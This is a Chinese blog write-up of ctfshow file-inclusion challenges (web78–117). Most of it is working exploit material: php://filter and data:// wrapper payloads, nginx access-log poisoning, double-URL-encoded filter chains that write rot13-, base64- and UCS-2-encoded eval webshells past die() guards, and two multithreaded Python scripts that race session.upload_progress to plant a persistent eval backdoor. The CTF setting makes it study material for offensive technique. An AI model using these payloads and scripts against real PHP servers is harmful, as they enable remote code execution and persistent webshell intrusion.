ctfshow文件包含

本文最后更新于 2024年9月13日 晚上

前言:炒冷饭也不失一种乐趣。

web78

1
?file=php://filter/convert.base64-encode/resource=flag.php

web79

1
?file=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

原理就是将`进行base64写进去执行

web80

0x01

1
?file=/var/log/nginx/access.log

容器环境利用nginx,然后写个读写就行,先进行ls然后进行读取

1
<?php system('tac fl0g.php');?> 

0x02

1
?file=pHp://input

然后bp发包post执行就行

1
<?php system('tac fl0g.php')?>

web81

1
?file=/var/log/nginx/access.log

容器环境利用nginx,然后写个读写就行,先进行ls然后进行读取

1
<?php system('tac fl0g.php');?> 

web82

以下都是条件竞争本人也写的少

将所有条件的禁用了,只能使用session了。因为在php中我们能够利用的无后缀的文件就是session,我们可以利用session.upload_progress来进行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS参数

讲以下原理,在php5.4引入了一些内容在php.ini里面

1
2
3
4
session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
  • cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
  • prefix+name将表示为session中的键名;
  • 另外还有一个session配置中的重要选项:session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

进行大概的分析,session.auto_start=on,则php会在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如在Cookie里设置PHPSESSID=orange,PHP将会在服务器里创建一个文件/tmp/sess_orange。即使没有初始化Session,PHP也会进行初始化,并产生一个键值,这个键值由上面的prefix+name组成,最后被写入sess_文件里面

这种题目建议用脚本多线程跑,直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import threading
import io

url = "http://fc0d1b76-c5a1-495b-98ba-d7b85e5c7460.challenge.ctf.show/"
sessID = 'orange'
data = {
"1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');"
}


def write(session):
fileBytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
},
cookies={
"PHPSESSID": sessID
},
files={
'file': ('orange.png', fileBytes)
}
)


def read(session):
while True:
res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
cookies={
"PHPSESSID": sessID
})
res2 = session.get(url + '1.php')
if res2.status_code == 200:
print("-------ok------")
else:
print(res2.status_code)


if __name__ == '__main__':
event = threading.Event() # 开启多线程的对象
with requests.session() as session:
for i in range(5): # 开5个线程
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()

event.set() # 唤醒线程

web83

和上面一致

web84

和上面一致优化了一下代码,用都是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading
import io

url = "http://420c9489-80b6-4a27-a2ba-240311c8ef48.challenge.ctf.show/"
sessID = 'orange'
data = {
"1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');"
}


def write(session):
file_bytes = io.BytesIO(b'a' * 1024 * 50)
while True:
session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},
cookies={"PHPSESSID": sessID},
files={'file': ('orange.png', file_bytes)})


def read(session):
while True:
session.post(url + '?file=/tmp/sess_' + sessID, data=data, cookies={"PHPSESSID": sessID})
res = session.get(url + '1.php')
if res.status_code == 200:
print("+++done+++")
break # 假设成功后停止读取线程


def start_threads(target, session, count=5):
for _ in range(count):
threading.Thread(target=target, args=(session,), daemon=True).start()


if __name__ == '__main__':
with requests.Session() as session:
start_threads(write, session)
start_threads(read, session)

threading.Event().wait() # 保持主线程运行

由于是多线程,及时执行system也删不完,所以基本没什么用,之前的代码就行了

web85

和上面一致

web86

和上面一致

web87

这题加入了post并且加入了死亡绕过,不是条件竞争了

0x01

rot13进行绕过

php://filter/write=string.rot13/resource=orange.php进行写入,需要双url进行绕过

1
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%66%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30

content写入简单的一句话木马然后rot13编码一下

1
content=<?cuc @riny($_TRG['pzq']);?>

进入/orange.php 执行?cmd=system('tac f*');

0x02

base64进行绕过

方法基本一致,用php://filter/write=convert.base64-decode/resource=apple.php进行双url

1
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%37%30%25%37%30%25%36%63%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30

然后给一句话木马写入

1
content=11PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

前面多加两个字符,为了使前面的结合成功进行base64,剩下的都是一样的了

web88

跟web79基本一致,需要微调一下代码

1
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pO3dob2FtaSgpPz4x&cmd=system('tac fl0g.php');

中间的内容我写的是<?php eval($_GET['cmd']);whoami()?>1

web116

这个我不想下载视频,直接看答案?file=flag.php

web117

这题其实还是用伪协议进行绕过,只是禁用了常见的rot13和base64而已,换一个就行了

1
2
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=orange.php
contents=?<hp pe@av(l_$OPTSj[]z;)>?
1
2
3
4
5
<?php
highlight_file(__FILE__);
file_put_contents("php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php"
, "<?php die();?>?<hp pvela$(G_TE'['a)] ;>?");
?>

ctfshow文件包含
https://0ran9ewww.github.io/2024/09/13/每日一题/ctfshow文件包含/
作者
orange
发布于
2024年9月13日
许可协议